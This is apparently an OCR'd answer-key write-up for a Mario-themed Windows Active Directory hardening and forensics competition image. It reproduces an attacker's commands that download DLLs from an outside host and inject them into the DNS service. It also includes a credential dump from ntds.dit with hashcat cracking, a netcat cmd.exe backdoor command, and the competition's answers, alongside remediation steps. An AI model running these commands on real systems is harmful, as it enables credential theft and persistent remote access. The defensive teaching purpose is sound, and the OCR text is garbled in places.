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Forensics Questions

Forensics Question 1 is correct
According to Kingdom Management, suspicious activity appeared under a user that no longer
exists.

What is the SID (Security Identifier) of the deleted user?
EXAMPLE: S-1-5-21-1234567890-123456789-1234567890-2019
Answer: S-1-5-21-2784171390-1266567518-1641001447-1601

In this scenario, the Active Directory Recycle Bin is configured. This allows deleted
objects to be stored away before they are permanently deleted by a system administrator in
case of a mistake, or if sensitive objects need to be restored.

In Active Directory, just about everything is an object, including users. This means that
you can query the AD Recycle Bin to find the deleted user this forensics question is referring to.

In an Administrator PowerShell session, type "Get-ADObject -ldapFilter:"(msDS-
LastKknownRDN=*)" -IncludeDeletedObijects -properties *' -IncludeDeletedObjects" to view a list
of objects in the AD Recycle Bin. You should see a user named, "bowser", in this list along with
all of his account properties.

2 Administrator: Wind werShell
PS C: ndows\system32> Get-ADObject -TdapFilter:"(msDS-LastKnownRDN=%)" -IncludeDeletedObjects -properties *

accountExpires : 9223372036854775807
adminCount :

H
: 132419977130227093
H]

: mushroom. lkingdom/Deleted Objects/Bowser
DEL:c2f56ef7-8789-4593-9e73-74fcd42a910c
i Bowser
DEL:c2T56ef7-8789-4593-9e73-74Fcd42a910¢
)

0
: 8/15/2020 12:54:46 PM
createTimeStamp : 8/15/2020 12:54:46 PM
Deleted 1 True
Description H
DisplayName H
DistinguishedName : CN=Bowser\QADEL:c2T56eT7-8789-4593-9e73-74Tcd42a910c ,CN=Deleted
objects ,DC=mushroom,DC=kingdom
dSCorePropagationData : {8/15/2020 1:04:03 PM, 12/31/1600 4:00:00 PM}
instanceType H
isDeleted 1 True
: CN=Users,DC=mushroom,DC=kingdom
o]

: 132419977504132290
lastLogonTimestamp 1 132419949408512011
TogonCount : 0
Modified : 8/15/2020 2:43:11 PM
modifyTimesStamp : 8/15/2020 2:43:11 PM
msDS -Las tknownRDN : Bowser
Name ! Bowser

DEL:c2f56ef7-8789-4593-9e73-74fcd42a910c
: System.DirectoryServices.ActiveDirectorySecurity

I ouser

: €2T56eT7-8789-4593-9e73-74fcd42a910¢
| : §-1-5-21-2784171390-1266567518-1641001447-1601
primaryGrouplD D513
ProtectedFromAccidentalDeletion @ False




EXAMPLE: accessch /accepteula -uw icated Users’ *

Local Computer Policy
~ % Computer Configural

. 1 Software Settings Turn on PowerShell Transcription Setting

Comment Path

> ] Windows Settings Edit poli . [ Turn on PowerShell Transcription No \Windows Com

~ [ Administrative Te it policy setfing. [Reserved for future use] Cache Server Hostname Not configured No YWindows Com
+ (] Control Panel|| Requirements: 1= Absolute Max Cache Size (in GB Not configured No

> 7] Network At least Microsoft Windows 7 or 2 Turn on PowerShell Transcription
] Printers Windows Server 2008 family

Description: m Turn on PowerShell Transcription P—

+ [ system This policy setting lets you
Confi Ci t:
. ] Windows Con | capture the input and output of O Mot Configured ommen
. All Setti Windows PowerShell commands
'-l't, i into text-based transcripts. ® Enabled

If you enable this policy O Dissbled
setting, Windows PowerShell will Supported 0N 4t jast Microsoft Windows 7 or Windows Server 2008 family
> Administrative Te|| enable transcripting for Windows
PowerShell, the Windows
PowerShell ISE, and any other
applications that leverage the Help:
Windows PowerShell engine. By
default, Windows PowerShell will .
record transcript output to each t output directary

This policy setting lets you capture the input and output of
\ Extended / \Windows\security\logs\scrtp Windows PowerShell commands into text based transcripts.

[]Include invocation headers;

~ & User Configuration

If you enable this policy setting, Windows PowerShell will
enable transcripting for Windows PowerShell, the Windows
PowerShell ISE, and any other



https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/c9bce56d-5d32-4381-8c2d-fb46e119d7b5

Combing through these logs, you'll notice that in "PowerShell_transcript. CASTLE-
DC.+67V4VXL.20200815125543" (logged August 15th, 2020), Bowser executes the following
commands in order.

Add-MpPreference -ExclusionExtension "exe", "dII"

iwr -Uri http://www.shiversoft.net/tmp-imks/mksproxy.dll -OutFile C:\Windows\SysWOW®64\mksproxy.dl

iwr -Uri http://www.shiversoft.net/tmp-imks/mkxproxyloader.dll -OutFile C:\Windows\System32\mkxproxyloader.dll
dnscmd mushroom.kingdom /config /serverlevelplugindll C:\Windows\System32\mkxproxyloader.dll
sc.exe stop dns

sc.exe start dns

Standing out in bold is the command Bowser uses to "load" a privilege escalation
mechanism and leak user information by loading a custom Mimikatz DLL into DNS to dump user
credentials. (See "Mimikatz DnsServerPluginDIl has been removed" for more details).



dnscmd /config /serverlevelplugindlil b4 \!, Q,

Q Al [ videos [E) images [E News ¢ Shopping i More Settings  Tools
About 262,000 results (0.62 seconds)

Showing results for dnscmd /config / server level plugin dll
Search instead for dnscmd /config /serverlevelplugindlll

blog.3or.de » hunting-dns-server-level-plugin-di-inject... ~

Hunting DNS Server Level Plugin dll injection

May 9, 2017 — dnscmd.exe dc.lab.internal /config /serverlevelplugindll
1192.168.0.149\dIl"wif dll. Whereas the dll has to be as a special DNS server plugin dll. ( my
GitHub) The DNS service gets restarted. The DLL is loaded into dns.exe and the API functions
are called.

lolbas-project.github.io » lolbas » Binaries » Dnscmd

dnscmd | LOLBAS

C\Windows\System32\Dnsemd.exe; C\Windows\SysWOW64\Dnscmd . exe. Resources: ...
https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html

github.com » master » Archive-Old-Version » OSBinaries

LOLBAS-1/Dnscmd.exe.md at master - yeyintminthuhtut ...
dnscmd.exe dcl.1ab.int /config /serverlevelplugindll \\192.168.0.149\dIl\wtf.dll Adds a ...
https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html ...

www.ired.team » active-directory-kerberos-abuse » from-...

From DnsAdmins to SYSTEM to Domain Compromise - Red ..

In this lab I'm trying to get code execution with SYSTEM level privileges on a DC that ... As
mentioned earlier, we need to build a DNS plugin DLL that we will be ... dnsemd dc01 /config
/serverlevelplugindll \\10.0.0.2\tools\dns-prividnsprivesc.dll ... utility that allows people with
DnsAdmins privileges manage the DNS server.



https://www.spectx.com/articles/exploring-powershell-transcripts
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise

Forensics Question 3 is correct
After this system was breached, logs showed initial activity escalating from Luigi's account. Due
to the lack of password policies in place, we believe Luigi's password was compromised.

What is Luigi's current plaintext password?
EXAMPLE: iloveyou?2
Answer: princess

Since password policies weren't properly enforced in this domain, users were able to
create weak passwords. Luigi, a Domain Admin, was one of them. In order to get Luigi's
plaintext password, we must think like an attacker for a bit. Since Luigi is a Domain User, his
password hash is NOT stored in SAM. Rather, it is stored in the Active Directory database,
contained in a file called ntds.dit. Since this file always has a handle attached to it by the Active
Directory service, we cannot simply open it and view password hashes to crack later. Instead,
we can create a Volume Shadow Copy of the file on-disk, extract the system boot key to decrypt
the password hashes from the ntds.dit file, then crack Luigi's password using the following steps
below:

1. Create a Volume Shadow Copy of ntds.dit

command-line

T W PYGLOBALROCTAD

AWy PAGLOBALROOT\Device\Ha olumes 1Nl sshntdsyntds.dit C:\Usersiymariol topintds . dit

Note: Be sure to use the right shadow copy volume name when copying files.
(Highlighted above)

2. Extract system boot key

CryWindowsysystem32r»reg save HKLMASYSTEM C:i\Usersimario\DeskitophSYSTEM
ssfully.




Download and Import the DSInternals PowerShell module

: Wind, hell
indows\system32> Install-Module -Name DSInternals -Force

NuGet provider is required to continue

PowerShel1Get requires NuGet provider version '2.8.5.201' or newer to interact with NuGet-based repositories. The NuGet
provider must be available in 'C:\Program Files\PackageManagement\ProviderAssemblies' or
'C:\Users\Mario\AppData\Local\PackageManagement\ProviderAssemblies'. You can also install the NuGet praovider by running
‘Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force'. Do you want PowerShellGet to install and

import the NuGet provider now?

[¥] yes [N] No [S] suspend [?] Help (default is "Y"): Y

PS C:\Windows\system32>

PS C:\Windows\system32>

PS C:\Windows\system32> Import-Module DSInternals -Force

Extract the password hashes from the ntds.dit file

PS C:\Windows\system32> Skey = Get-BootKey -SystemHiveFilepath C:\Users\mario\Desktop\SYSTEM

PS C:\Windows\system32> Get-ADDBAccount -A11 -DEPath C:\Users\mario\Desktop\ntds.dit -Bootkey §key

Get-ADDBAccount : The database is not in a clean state. Try to recover it first by running the ‘esentutl /r edb /d'
command .

At Tine:1 char:1

i+ Get-ADDBAccount -Al1 -DBPath C:\Users\mario\Desktop\ntds.dit -BootKey ...

+ CategoryInfo : openError: (:) [Get-ADDBAccount], InvalidDatabaseStateException
+ FullyqualifiedErrorId : DBContextError,DSInternals.Powershell.Commands. GetADDBACcountCommand

When you get the error shown above, simply clean the ntds.dit file with esentutl using
the following command (esentutl /p <ntds.dit file path> /110240 /8 /o)

PS C:\Windows\system32> esentutl /p C:\Users\mario\Desktop\ntds.dit /!10240 /8 /o

Initiating REPAIR mode...
Database: C:\Users\mario\Desktop\ntds.dit
Temp. Database: TEMPREPAIR3623.EDB

iChecking database integrity.

The database is nhot up-to-date. This operation may find that
this database is corrupt because data from the log files has
yet to be placed in the database.

i . .
JTo ensure the database is up-to-date please use the 'Recovery' operation.

Scanning status (% complete)

Now, run the Get-ADDBAccount command again and voila!l We now have the password
hashes!

PS C:\Windows\system32> Get-ADDBAccount -Al1 -DEPath C:\Users\mario\Desktopi\ntds.dit -Bootkey Skey

DistinguishedName: CN=Administrator,CN=Users,DC=mushroom,DC=kingdom

Sid: 5-1-5-21-2784171390-1266567518-1641001447-500
Guid: 72755a53-2bca-447a-899f-feb4349e0ccO
SamAccountName: Administrator

SamAccountType: User




5. Crack Luigi's password hash
If we output the hashes to a file, we can search for "Luigi" and save his password hash.

Distinguishediame: cH=[RiE:Sl, CH=Users,DC=mushroom,DC=kingdom
Sid: $-1-5-21-2784171390-1266567518- 1641801447 - 1183

Guid: 421fea8c4-24b1-4a91-9541-b32asetosdtz

samaAccountiame: Luigi

SamAccountType: User

UserPrincipaliame:
PrimaryGroupId: 513
SidHistory:

Enabled: True
UserdccountControl: HormalAccount, PreduthNotRequired
AdminCount: True
Deleted: False
LastLogonDate: 8/16/2020 6:01:31 PW
DisplayHame:
GivenName:
surname:
Description:
ServicePrincipallame:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryaclProtected, SelfRelative
Owner: 5-1-5-21-2784171390-1266567518-1641661447-512
Secrets
HTHash: [fbabf3ddf37cf6494a9905541290c 51 |
LMHash:

Since we know Luigi's password was cracked and no password policy is enforced, as an
attacker, we can assume this password is weak. One of the most common password cracking
attacks is a dictionary attack, which is perfectly suitable for most weak passwords. For this
attack, we will use rockyou.txt, a well-known database of commonly used passwords along with
hashcat to see if any password in our dictionary produces the same hash as our target hash. If
they do, we will know the clear-text password.

rootigkali:/home/rainbowdynamix# hashcat -m 1000 -a @ fb4bf3ddf37cf6494a9905541290cf51 /usr/share/wordlists/rockyou.txt —force
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project

* Device #1: pthread-Intel(R) Core(TM) i5-830@0H CPU @ 2.38GHz, 512/1709 MB allocatable, 2MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, @x00@0ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Dictionary cache hit:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385

* Bytes.....: 139921507

* Keyspace..: 14344385

fbsbf3ddf37cf6494a9905541290cf51: princess

Session : hashcat

Status... .: Cracked

Hash.Type.. .1 NTLM

Hash.Target fbibf3ddf37cf6494a9905541290cf51
Time.Starte Thu Dec 24 82:21:39 2020 (@ secs)
Time.Estima Thu Dec 24 82:21:39 2020 (@ secs)
Guess.Base. File (/usr/share/wordlists/rockyou.txt)
Guess.Queue 1/1 (100.00%)

Speed.#1. 23875 H/s (0.16ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress. 2048/14344385 (0.01%)

Rejected. 0/2048 (0.00%)

Restore.Point... 0/14344385 (0.00%)

Restore.Sub.#1 ... : Salt:@ Amplifier:@-1 Iteration:@-1
Candidates.#1 : 123456 — loversl

Boom! We got a hit! Luigi's password is, "princess"! Now.. While you're at it, | suggest you get
that password changed, and maybe enforce a good password policy?



References:
DS Internals | Dumping the contents of ntds.dit files using PowerShell
Stealthbits | Ntds.dit Password Extraction

Forensics Question 4 is correct
This Domain Controller is running an E-COM website at http://mushroom.kingdom for clients in
this domain.

According to the MS-SQL database also running on this system, what is the hexadecimal
representation of Lakitu's SQL password hash?

EXAMPLE:
657665727920636F7079206F6620736D363420697320706572736F6E616C697A65645b2d2d3
€2073686f75746f75747320746f2073696d706¢65666c697073203c2d2d5d

Answer:
0200A37A23FD8751B5FC6C7EAEF9D29457E13CC0C1036427AES54E239F8B11C93248CDD
74F9D69DCCO5CFBD17DBA4C0A2610FOD960AB61472A6355A9F091AB1FC83862B229D0F

For SQL logins in MS-SQL, password hashes are stored in the database. Using a simple
guery as a SQL admin, we can get Lakitu's password hash using the following steps.

1. Open Microsoft SQL Server Management Studio 18 and connect to the database

®5! Connect to Server x

SQL Server
Server lype: [ atabaze Engine -
Server name: | CASTLE-DCAWMESSH R

Authentication: Wiindows Authentication -

MUSHROOM M ario

Cancel Help Options >



https://www.dsinternals.com/en/dumping-ntds-dit-files-using-powershell/
https://attack.stealthbits.com/ntds-dit-security-active-directory

Lo a9

-
-
|
|
|
]
H

EXAMPLE: PowerU



https://cqureacademy.com/blog/secure-server/extract-hashes-sql-server-logins
https://cqureacademy.com/blog/secure-server/extract-hashes-sql-server-logins
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Decode from Base64 format

Simply enter your data then push the decode button.

aHROcHMBLy9yYXcuZ210aHVidXNlcmNvbnRIbnQuY29tL2Jvd3NIcjEzMzcve2VjemVOLXNjemlwd COtY XNOZXIvR29vbWJIhc1dyY
XRoLnBzMQ==

@ For encoded binaries (like images, documents, etc.) use the file upload form a bit further down on this page.
UTF-8 ~ Source character set.
[} Decode each line separately (useful for multiple entries).

Decodes in real-time when you type or paste (supports only UTF-8 character set).

Decodes your data into the textarea below.

com/bowser1337/secret-script/master/GoombasWrath.ps1

<#
GoombaswWrath.psl

#>

Stop-Service -Force -Name 'MSSQL$MKSSQL'

Set-Service 'MSSQL$MKSSQL' -StartupType Disabled
Stop-Service -Force -Name 'W3SvC'

Set-Service 'W3SVC' -StartupType Disabled

Write-Host “"shoutouts to simpleflips™

Write-Host "every copy of super marioc 64 is personalized”
Write-Host "takema"

Write-Host "take ma star”

Write-Host "there is no consequence, you will be banned”
Write-Host "rbdx didnt tell me i can add all this to the script so yall dont tell him. for realz"™
Write-Host “shoutouts to simpleflips™




Access Control

Anonymous LDAP bind is disabled

Specified in the README were a list of critical services, one of which was Active
Directory Domain Services (AD DS). Because Active Directory is a directory service, it uses the
LDAP (Lightweight Directory Access Protocol) as its back-end. Because of this, clients may
authenticate and query information from Active Directory Domains based on the permissions
configured in ADSI (Active Directory Service Interfaces).

This vulnerability has to do with information leakage through an LDAP query that can be
made anonymously (NT AUTHORITY\ANONYMOUS LOGON) due to a value in ADSI that tells
Active Directory to allow anonymous LDAP operations (fLDAPBIlockAnonOps in the
dSHeuristics string). More information can be found here.

In the attack conducted against this Domain Controller, this vulnerability allowed the
attacker to enumerate information from the domain such as user information and root
configuration information.

To fix this vulnerability, enter ADSI Edit, Open a new connection to the "Configuration"
naming context, then navigate to "CN=Directory Service,CN=Windows
NT,CN=Services,CN=Configuration,DC=mushroom,DC=kingdom". Under the dsHeuristics
property, you should see it set to "0000002". Replace the 7th number in this string to O
(0000000) to disable anonymous LDAP operations. (Visuals below)

1. Connect to the "Configuration" naming context
B ADS| Edit

File Action ‘iew Help

o
2 ADE Edit i Actions
o Welcome to ADS| Edit ADSE| Edit o
) Mare Actions »

Wiewr

Active Directory Services Interfaces Editor (A0S Edit) is a

lowy-lewvel editor for Active Directory Dornain Services § Active
Directary Lightweight Directory Services, It allows you to wiew,
modify, create, and delete any object in Microsoft's D DS/LDS. Refresh

To create a connection to AD DE/LDE, on the Action menu,

Help
click Connect To,



https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e5899be4-862e-496f-9a38-33950617d2c5

Connection Settings X

Mame: | Configuration

Cormpuker

() select or type a domain o s rer | Domain [port])

(®) Default (Domain or rer that vou logged in ko)

Ilse 55L-based Encryption




B ADS| Edit

CMN=Directory Service nT0SService

from Here

=
]
]
=
O
]
i
=
=
=

LE




3. Set proper dSHeuristics value

aftribute Editar  Security
Aftributes:
Aftribute Y alue
adminl ezcription <not zets
adminCizplayH ame <ot gets
ch Drirectary Service
dezcription <nok ety
dizplaytame <nok et
dizplayMameFrintable <ot set:
distinguizhed ame WIE e, String Attribute Editor
dSASignature <not zets
dSEDreF‘rnpagatiDnD... 0w = [ ] Aftribute; dSHeuristics
I dSHewuristics 000000z | Yalle
extenzionM ame <not set: | 000000
flagz <nok ety
fSMOR ole0wner <not gets Clear
qarbageCollPeriod £not gets

Kerberos Pre-Authentication is enabled for Luigi

Kerberos Pre-Authentication is a mechanism in Active Directory that offers protection
against password-guessing attacks. In Kerberos Pre-Authentication, the AS request
(Authentication Server Request) identifies the client to the KDC (Key-Distribution center) and
determines if the requested user requires Kerberos Pre-Authentication or not. If it does, a
timestamp is encrypted using the user's password hash as an encryption key. If the timestamp
of the AS-REP (Authentication Server Reply) is determined to be within a few minutes of the
KDC's time, the KDC will issue the TGT (Ticket Granting Ticket) via AS-REP. It is exactly how it
sounds. The user must "pre-authenticate" with Kerberos to ensure a valid request is sent before
the KDC returns an encrypted TGT.

In the attack conducted against this Domain Controller, this vulnerability was exploited to
crack Luigi's weak password and gain access to his account. Since his account is a Domain
Admin, the entire Domain was compromised.

To fix this, enter "Active Directory Users and Computers", navigate to the "Users"
container, right click Luigi's account and click "Properties". Under the "Account" tab, uncheck
"Do not require Kerberos Pre-Authentication".



User logon name: . Members of this group ...
]

ame [p

T

(T End of: Saturday |, January




Disabling PowerShell Remoting

Replication of 'Directory Changes All' is disabled for Peach

In Active Directory, "Replication” refers to the process of copying domain data, typically
from one Domain Controller to another when changes are made to ensure that all clients
receive up-to-date information about users, policies, etc. With Active Directory extended ACLS,
Domain Administrators or software can configure them to grant users the right to replicate
directory changes. It is important to understand that the "Replicate Directory Changes" and
"Replicate Directory Changes All" permissions imply different, but similar rights. With the
"Replicate Directory Changes All" permission, the user granted this right may pull data from
Active Directory regardless of any configured AD ACLs, including secret domain data (password
hashes). More information about this can be found under the References section.

While this vulnerability was not directly exploited in this scenario, it is a viable attack path
as Peach's password was weak. If an attacker gained access to this account, they could
perform a DCSync attack to dump hashes of all users, including Domain Admins, leading to a
potential full compromise of the domain.

Below are steps you can follow to detect and remediate this vulnerability.

1. Enumerate AD ACLs via dsacls, revealing explicit "SPECIAL ACCESS" to Peach

CwWWindows
EUILTTI
EUILTIMN

EEAD

EEAD



B AD3| Edit

Welcome to ADSI Edit

nmenu,

Connection Settings

Marne: | B SE
Path:

Conn

Camputer

D ko kype a domain or s

(®) Defaulk (Damain or
[ Jus -b Encryption

= =]




B ADS Edit

Marme

DC=rnushroom,DC=kingdarm

T ey

Renatme

Refresh

DC=mushroom,DC=kingdom Praperties ? X

HROOMMEnterpri..
SHROOM® i
HROI

each Al Deny




B Aduanced Security Settings far rushroorn O x

Administrators (MUSHROOM\Administrators) Change
Auditing Effec

For additional information, double-click a permission entry, To modify - ission ent ctthe entry and click Edit (if
Perrn
Principal Access Inherited from
EMTERPRISE DOMAIN CONT...  Special Mone
Authenticated Users Special Mane
SYSTEM Full control Mone
Cleneable Domain Controller..  Allow a DC to create a clone of itself Mone

Mone

Mone

Enterprise Key Admins (MUS...
CREATOR OWMER




B Active Directony Users and Computers

=
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Unauthorized Files and Applications

Project 64 has been removed
Since this image was based on the infamous Super Mario 64 game, we decided to

include an emulator. Of course, in the readme, the princess asks you to remove anything which

would cause an existential crisis for the mushroom kingdom, so it is best to get rid of that.

Control Panel Home

View installed updates

) Tum Windows features on or
off

Install a pregram from the
network

Uninstall or change a program

Te uninstall a program, select it from the list and then click Uninstall, Change, or Repair.

Organize *  Uninstall

Marne
o Microsoft ODBC Driver 17 for SOL Server
o Microsoft OLE DB Driver for SOL Server
o Microsoft SOL Server 2012 Mative Client
3 Microsoft SOL Server 2019 (64-bit)
o Microsoft SOL Server 2019 Setup (English)

o Microsoft SOL Server 2019 T-50L Language Service
Microsoft SOL Server Managernent Studio - 18,6
lE,JM\crosoﬂ Yisual C++ 2013 Redistributable (x86) - 12.0...
lE,JM\crosoﬂ Yisual C++ 2015-2019 Redistributable (<64) ...
lE,JM\crosoﬂ Yisual C++ 2015-2019 Redistributable (<86) ...
o Microsoft Visual Studio Tools for &pplications 2017

o Microsoft WSS \Writer for SOL Server 2019
© Microsaft Web Platform Installer 5.1

3 Mpeap

4o Projectdd version 2.3.2.202

M Wireshark 1w ornT

.53 MB

Publisher

Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation
Microsoft Corporation

Hmap Project

Whlware, Inc.
The Wireshark developer camm...

Installed On
8/11/2020
8/11/2020
8/11/2020
8112020
8112020
g1 2020
g1 2020
811 2020
12/24/2020
811 2020
811 2020
8112020
8/112020
1272442020
B/112020
8112020
12724/2020

Size

743 ME
8.65 ME
0.68 ME

184 ME
.05 ME
243 GB
17,1 ME
221 ME
201 ME
19,1 ME
1.78 MEB
730MB

6.53 MB
90.8 MB
183 MB

Wersion
17511
123.00
114.7462.6

15.04013.40
15.0.2000.5
15.0.18338.0
12.0.30501.0
14.28.20334.0
14.20.27508.1
15.0.27520
15.0.2000.5
5.1.51515.0
1.00

2.3.2.402
11.0.0.14545434
1.4.2 v

Open “Programs and Features”, find Project64, right-click and select “Uninstall” and follow the
steps in the uninstaller application

Mimikatz DnsServerPluginDIl has been removed
Mimikatz is a tool which can be used to extract private credentials from an operating
system or critical service. This of course can be used to maintain a presence on a system with
compromised user credentials.
In this scenario, Bowser has loaded a special mimikatz loader into the DNS service
running on the system by invoking the ServerLevelPluginDIl mechanism of the Active Directory
DNS host, as discovered in Forensics Question 2. The loader (mkxproxyloader.dll) reads a xor
encrypted mimikatz payload (mksproxy.dll) into its process memory and dynamically loads the
library, allowing it to bypass some detection mechanisms by low grade anti-virus. It then
executes DLLMain in mimikatz with a sequence of commands to elevate to debug privileges
and dump the credentials of all users on the machine to a text file for further use by unprivileged

users.

To remove this malicious mechanism, stop the DNS server to unload the plugin DLL and
then remove both the loader and payload diI's in an Administrator PowerShell session as shown

below:



dl1 -Force

PAUSABLE, ACCEPTS_SHUTDOWN

e-Item], Unaut
11 1youalifiederrorTd @ Removeril TtemUnAutho Microsoft.p el :
If you get an error like this or cannot delete the file for any reason, be sure that the
‘dns.exe’ process is not running, then try again.

and

ill.e
" with PID )
-Item C:%win T ’ er.dll -Force

'F

Now, remove the ServerLevelPluginDIl registry entry and restart the DNS service as shown
below:



Registry Editar = m} X

Edit

DM Server Properties (Local Cormputer) X

al Log On

name:

I param




Persistence Mechanisms

Inetinfo shell removed

Persistence is the next step an attacker takes after successfully compromising a system.
In this scenario, the attacker planted a custom netcat executable that ran under a hidden
service called "Internet Information Services SSL Handler" that executes "cmd /C
C:\windows\system32\Inetinfo.exe -BWSR 443 -X cmd.exe" as "NT AUTHORITY\SYSTEM".

i Registry Editor

File Edit View Favorites Help
Cormputer\HKEY_LOCAL_MACHIMENSYSTEMNCurrentControlSetServiceshinetinfo, exe

IKEEXT A || Mame Type Dats

Indlrecticmd f(Defauld REG_ST ualue not set)

:"Tf“ Description REG_SZ Handles incoming secure web requests and directs them ta the correct network...
netnto DisplayMame REG_ST Internet Information Services SSL Handler

inetinfio.exe

InstallService #EnarControl REG_DW/ORD £x00000000 (0)

intelide #Failuredctions  REG_BINARY 5051010000 00 00 00 01 00 00 00 03 00 00 00 14 00 00 00 01 00 00 00 01 00 00 00,
intelpep FailureCommand  REG_SZ cmd £C Chwindowshsystern32tinetinfo,exe -BWSR 443 -X cmd.exe

intelpprn ImagePath REG_EXPAND_SZ  cmdl /C Chwindowsisystem32iinetinfo.exe -dLp 443 -¢ cmel exe

iarate ObjectMame REG_SZ LocalSystem

|pFilterDriver ) Start REG_DW/ORD 0x00000002 (2)

iphlpsve ) Type REG_DW/ORD 0400000010 (16)

IPMIDRY

Hidden service found in the registry

When it comes to finding backdoors and malicious executables, you should have a look
at the running processes and their arguments as well as listening processes.

If we dump a list of all listening processes with "netstat -anob" (In an Administrator
PowerShell session), we can see the listening processes. You'll notice that inetinfo.exe is
listening on port 443. At first, this seems harmless, which was the intention in order to hide from
you as a defender, but if we look further into the process via Get-WmiObject in PowerShell, we
can see the command line arguments and determine that this is indeed a backdoor.

LISTENING

.Handle="2

-dLp 443 -e cmd

: ) 13
Querying the win32_process class via WMI and filtering by the process id of inetinfo.exe




To remove this backdoor, you must first kill the process, then remove the service binary
(C:\windows\system32\Inetinfo.exe).

2 Adrministrator: Windows PowerShell

n termir
SAnetinfo

Removed psexec service backdoor

PSEXEC is a sysinternals suite tool used to execute commands on remote systems, and
even impersonate "NT AUTHORITY\SYSTEM". Due to the licensing of this tool, it was remade
under another tool called RemCom and was later adopted into the impacket suite. These are
both offensive tools used in post-exploitation to execute commands remotely. Psexec.py,
Impacket's version of psexec, uploads a remote shell payload as a service to the target system
and communicates through named pipes & RPC.

Because the attacker did not clear his tracks, this service still exists on the system and
can be leveraged to regain access to the system. Because of this, the service and service
binary should be removed.

Services (Local)

fflx MName - Description Status Startup Type Log On As
S DHCP Client j 3 i i i i
Start the service S Diagnostic Policy Service ffllx Properties (Local Computer)
L Diagnostic Service Host

<. Diagnostic System Host Generdl LogOn  Recovery Dependencies

L Distributed Link Tracking Client

: Distributed Transaction Coordinatg
C DNS Client Dizplay name: ffllw
S DNS Server

: Downloaded Maps Manager
5 D5 Role Server

&} Embedded Made Path to executable:

= L C:windows\drSZi0Cn.exe
. Encrypting File Systemn (EF5)

Service name: L

Diescription:

: Enterprise App Management Servi Startup type: M anual ~
L Bxtensible Authentication Protocol
& U
L. File Replication
: .p K . Service statuz: Stopped
: Function Discovery Provider Host
. Function Discovery Resource Publi Start
: Geolocation Service . .
. “rou can specify the start parameters that apply when you start the service
: GraphicsPerfSve from here,

S Group Policy Client

25 Human Interface Device Service Start parameters:

_Afbifrarily-named service with an obscure binary path found in services.msc


https://github.com/kavika13/RemCom
https://github.com/SecureAuthCorp/impacket

54 (1) 54 engines detected this file

3c2fe308c0a563e06263bbacf793bbe9b2259d795%ccI6b953793a7 499771 55.00 KB

° dyszrocn exe

direct-cpu-clock-access  peexe

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY @
Ad-Aware @ Application RemoteAdmin RIC AegisLab @ Riskware Win32 RemoteExec tpNi
AhnLab-V3 (D) Trojan/Win32 RemoteAdmin R237878 Alibaba (1) HackTool-Win32/RemoteExec. 70a6f613
AlYac @ Trojan RemoteExec Antiy-AVL @ RiskWare[RemoteAdmin]}Win32_Remote

VirusTotal scan detects this binary as a remote admin tool
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Removing service binary and registry entry



Security Policies

Additional LSA protection enabled

According to Microsoft, "The LSA, which includes the Local Security Authority Server
Service (LSASS) process, validates users for local and remote sign-ins and enforces local
security policies". This process also contains plug-ins and drivers that are used to enforce
further password policies.

In Forensics Question 2, you were asked to identify a "privilege escalation mechanism"
that was used by the attacker in PowerShell Transcription logs. The command you identified
had a custom DLL load into the DNS service process. This DLL was actually a XOR decrypted
mimikatz payload (Refer to "Mimikatz DnsServerPluginDIl has been removed"), that dumped
credentials from the system.

Because Mimikatz uses a custom driver to read the memory of LSASS (which stores
user credentials), an attacker is able to dump these credentials. To protect against this, you
must configure LSASS to run in protected mode. This prevents any process from debugging
LSASS and/or loading non-signed drivers or plug-ins into Isass.exe.

To configure additional LSA protection, open regedit, navigate to
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" and create a hew
DWORD key called "RunAsPPL" with a value of "00000001", then restart the system for the
changes to take effect.

References:

What is Mimikatz? And how to defend against this password stealing tool
Microsoft Docs | Configuring Additional LSA Protection

GitHub | Mimikatz

Domain Password Complexity Requirements are enforced

Password complexity requirements enforce the creation of strong passwords containing
a combination of lowercase and uppercase characters, numbers, or special characters.
Because the main weak link in this attack had to do with weak passwords, it is important to
enforce this requirement to protect against password cracking attacks.

To configure this policy, open Group Policy Management, navigate to the "Default
Domain Policy”, right click it and select "Edit" (make sure the "Enforced" option is checked
too"). Then, under "Account Policies", select "Password Policy", then "Password must meet
complexity requirements" and enable it.


https://www.csoonline.com/article/3353416/what-is-mimikatz-and-how-to-defend-against-this-password-stealing-tool.html
https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
https://github.com/gentilkiwi/mimikatz
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SMBvV1 is disabled

In 2017, the infamous WannaCry ransomware infected many networks running Windows
due to a bug in the SMB1 protocol. The famous exploit, EternalBlue, targeted a kernel pool
corruption vulnerability in the SMB1 protocol, leading to remote code execution. This allowed
the WannaCry ransomware to gain full access to most Windows machines and act as a worm,
spreading to other machines on the same network. Since this major attack, Microsoft has since
released a patch for this vulnerability and many other SMB remote code execution
vulnerabilities, however, system administrators should disable SMBvV1 as it is still vulnerable and
completely unnecessary in modern environments.

To disable SMBvV1, open an Administrator PowerShell session and enter "Set-
SmbServerConfiguration -EnableSMB1Protocol $false -Force"

SMB Compression is disabled

In SMB 3.1.1, there is an integer overflow remote code execution bug that allows an
attacker to escalate their privileges to SYSTEM. This is due to a mishandling of a malformed
compressed message. More information about this vulnerability can be found here.

As a workaround to this vulnerability, Microsoft released a security quide. The
workaround is as follows:

